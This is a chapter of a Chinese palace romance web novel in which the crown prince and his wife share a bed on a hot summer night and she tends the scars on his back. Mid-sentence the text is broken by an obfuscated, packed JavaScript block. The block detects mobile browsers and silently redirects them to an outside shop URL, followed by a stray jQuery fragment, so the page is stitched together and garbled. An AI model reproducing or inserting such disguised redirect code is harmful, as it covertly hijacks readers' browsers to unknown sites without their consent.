几日过后,春夏之间几场雨落完,京城的天也渐渐热了起来,偶有微风拂面都带着丝丝热意。
烈日似一个巨大的火盆般炙烤着大地,上街的人也越来越少。
商祁每日在地铺中醒来,身上或多或少都染了层汗,有时醒来像是刚从水中出来一般,为了避免仪表不正,也不得不先沐浴一番再去上朝。
司念将这一切都看在眼里,心底不免也多了几分愧意。
她是商祁明媒正娶的太子妃,按理来说合该二人共眠,可商祁却为顾及她的感受,每夜屈尊打地铺入眠。
且不说此事若叫帝后知晓会责罚于她,堂堂当朝太子为了她做到如此地步,她的心里也过意不去。
入夜,商祁一如往常那般准备铺地铺时,眼前却出现了一只软弱无骨的小手,按住了他刚要打开的被子,侧眸看去,司念如玉般的面上在宫灯的映衬下愈发的白了些,隐约泛着淡淡的光晕。
他如墨的眸子一眨不眨的望向她,眼底是不解和难以察觉的欣喜。
“太子殿下……还是回榻上睡罢。”说这话时,司念自己也觉得不好意思,面上渐渐攀上一丝热意,声音小如蚊讷,“天气热,睡地上终究是不舒服。”
“榻上凉些,也……也够宽敞了。”司念只觉越说越觉着奇怪,像是自己邀人共寝一样。
可这般言语论谁都会想多了去,她紧抿着唇瓣,移开视线,看向捏在被子上的那双大掌,方才微热的面颊此刻像是被炙烤过一般,不争气地浮上两片绯云。
商祁心头一跳,面上却依旧淡然,可下一瞬,他心底竟生了逗弄之意,有些为难道:“这不大好吧,太子妃不必勉强自己。”
“不勉强,你我虽然是约定,但在外人面前,你我仍是夫妻,每日你还需要早起收拾,很累的。”司念越说声音越小,在说到夫妻时微垂的眼睫轻颤了一下。
商祁自然知晓见好就收的道理,立即将被子丢上榻,将刚翘起的唇角又压了回去,应答道:“念念一片心意,本宫自然不可辜负。”
本以为自己已经做好了心理准备,可真当身侧忽然多出一人时,司念还是不自觉地紧张了起来。
从前这般晚时她早已沉沉睡了过去,可眼下却没有一丝睡意,她攥着衣角强迫自己睡觉,可越是这样她便越是睡不着。
无奈之下,她只好找了些话题转移注意。
“太子殿下,我听闻行军之人身上常有伤口,时间长了还易留疤……”她眨眨眼,好奇道。
“嗯。”商祁应了一声,遂又问道:“怎的突然问起这个?”
司念一噎,过了良久才又出声,“就是好奇,将士们与敌军厮杀的时候,应该很疼吧?若是他们的家人看到了定会心疼至极。刀剑无眼,殿下身上的伤还好吗?”
听闻此话商祁眼底闪过一丝不易察觉的异色,她这是在关心他吗?
所以她之前说不喜欢他果然是口是心非,商祁微勾唇角,一向清冷的眸子终于有了温度。
似乎是觉得她会嫌弃自己身上的伤口,商祁抬手揉了揉她微蹙的眉心,突然坐起身,边说边脱去上衫,“不过本宫可没有多少。”
司念震惊的瞪大了眸子,一时间不知道该说什么,也跟着坐起身,扯了薄被就要替他遮住:“太子这是做什么?”
商祁闷笑一声,按下司念的手,声音喑哑:“既然太子妃好奇,那不妨自己看看。”
说罢便转过身去,以后背示司念。
流畅的肌肉线条在烛灯映照下一览无余,饱满的背肌随着主人的动作而鼓动,光是看着,便觉着极富力量感。商祁的身形颀长,纵是征战数年,如今身归朝野皮肤依旧是冷白的色泽,他此刻脊背挺直,长腿随意的弯曲,又是宽肩窄腰,难免让人看着脸红心跳。
原本光滑的背上,此刻正攀沿着几条已然痊愈的疤痕,许是时间太久,只留下了少许印记。
商祁说得确实不错,他的伤口还真不多,只不过这些伤口刚落上的时候该有多疼……
司念刚探出去的手悬在空中良久都不曾抚上那道看起来有些明显的痕迹,她蜷了蜷手指遂又落回原处。
“宫廷有秘药,专门祛疤,本宫每次添了新伤回来都会涂一些。”似怕司念误会,商祁从榻旁拿了两个小罐回来,“落了疤痕总归是不好看的。”
司念微叹:“原来是这样。”
“本宫这几日事务繁多,忘了上药,不如今日就请太子妃替本宫上了这药?”商祁一面询问,一面将药罐递给司念。
司念怯怯地接过了药罐,拧开盖子,一股异香随之溢散开来,瞬间袭进鼻间。
“那就……先趴下罢。”司念声音轻柔,不难听出其中透出的几分心疼。
商祁乖乖照做,紧贴着她身侧趴下,一股灼人的热意隔着轻薄的衣料传至全身,她往里侧挪了挪,避开商祁那烫人的温度,用指尖沾些药膏,细细涂在那几道白色痕迹上。
女子的指尖柔软,落在结实的肌肉上,毫无力度,反倒像在故意戏弄他一样在上缓缓游走。
不过须臾,他只觉司念的指尖所到之处像是被蚂蚁啃食过一般带起丝丝酥痒,最后又一点点灼烧起来。
商祁余光瞥见此刻少女神色一脸认真,长长的睫羽遮掩着眸中的慌乱,乌发雪肤,朱唇不点而红,透着几分诱人的莹润。
他大掌紧紧攥起,眼底渐渐浮上了一层欲色,连呼吸都热了几分。
片刻后,他用力的闭了闭眼,强压下心底的燥热,好在他不算是纵欲之徒,理智似弦紧绷,最终让他克制住自己的欲念。
“涂完了。”司念直起身子,收好药瓶,丝毫没注意到商祁的异样。
此话一出,两人皆是一松。
“念念,擦擦手吧。”商祁取了方帕子给司念。
之前商祁没有同司念表露心意时,她还能坦然的接受他这么亲昵的称呼自己,如今再听到他这般亲昵的称呼,司念反而有些不太适应了。
司念抿了抿唇,擦过手后又将帕子默默递了回去,而后侧躺在里边轻轻阖上眸子。
入睡前,司念想到商祁私下里有些衣冠楚楚的登徒子模样,又猛地坐起身来。
“怎么了?”商祁以为她又有什么了不得的事情,也随之坐了起来。
只见她在两人中间特地划了条线,旋即抬眸迎上商祁的视线,缓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695320|144410||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
缓开口道:“殿下,鉴于你之前的行为,规定一下你不得越界。”
“……”
商祁看着那一手便可抚平的线,一时无言,他什么时候行为不端了?
夜色浓重,连微风吹来都带上了一丝温度。
迷迷糊糊间,司念莫名觉得全身燥热,好似比往常都要热得多,她不悦的蹙了蹙眉,嘴里不知低喃了句什么,身上的薄被也被她一脚踢开,可那热意似乎一点不曾消散。
她像是坠入了一个巨大的火炉般,周围被烈焰炙烤着,仿佛下一瞬便能将人燃烧殆尽。
挣扎良久,她终是用力撑开了眸子,入目的却是男人的下颔,缀着汗珠。
她是什么时候蜷在商祁怀中的?
而且原来划定的界限是她越过了,商祁并未出界。
竟是她主动的!
原本睡眼惺忪的司念此刻才是真正的清醒过来,脑子里嗡嗡作响,随后愕然的看着商祁紧抿的薄唇,紧闭的双眼。
似乎是觉得被发现太过丢人,司念的心跳逐渐快了起来,像是下一刻就会冲破胸膛一般。
抬眸的一瞬,商祁的面容忽然撞入她的眼底,只见他眉心微拢,好像也是热极了的,额角的汗珠颗颗滑落,最后没入发间。
片刻后,司念拢了心神,想要立即从商祁怀中逃开,却又怕将人吵醒,最后闹得两人尴尬。
她将搭在商祁身上的手臂缓缓抬起,而后头也缓缓从他胸膛上挪开,可她刚要转身就不禁痛呼一声:“嘶。”
她的头发被商祁的胳膊压住,方才的一个转身像是要将她的头皮都掀开般,痛得她眉心紧拧,用力捂着唇瓣不叫自己出声。
待她缓过神来才慢慢将自己的头发抽出,用力揉着自己的脑袋。
下一瞬,商祁忽然翻身,一条手臂瞬间搭在了她腰间,像是知晓她头皮方才被扯疼了一般,下巴在她脑袋上蹭了蹭。
司念只觉浑身僵硬,挣扎了半晌才扭头看向商祁,可身后之人却没有丝毫要醒的迹象。
均匀的呼吸喷洒在她耳畔,惹得她耳尖都染上了一抹不自然的绯色。
她轻呼出一口气,双手轻轻搭在商祁手臂上,想要将其挪开,可商祁的手臂像有千斤重般,她却无论如何都移动不了分毫。
殊不知,身后之人早已睁开了如墨般的眸子,看着她有些凌乱的青丝抿唇轻笑起来。
商祁本就是习武之人,即便他没用一点力道,司念也都无法动弹他环在腰间的那条手臂,若是从前,他早就起身沐浴了,可今日不知为何,他竟有一丝不舍。
鼻间始终萦绕着司念身上散发出来的淡淡幽香,叫他因近日政务而烦躁的心都不禁平静了些许。
可一想到上朝就要面对那些个言官,方才舒展开来的眉心,又瞬间拢了拢。
过了许久,司念觉得这厮果然有些道貌岸然,她动不了他,有些虚脱的软在了他怀中。
见此,商祁故意又往前凑了几分,在司念将要逃开的一瞬,长臂稍稍收了些力道,便又回到了他怀中。
他的胸膛紧紧贴在司念后背上,隔着轻薄的寝衣都能感受到他身上散发出来的滚烫气息。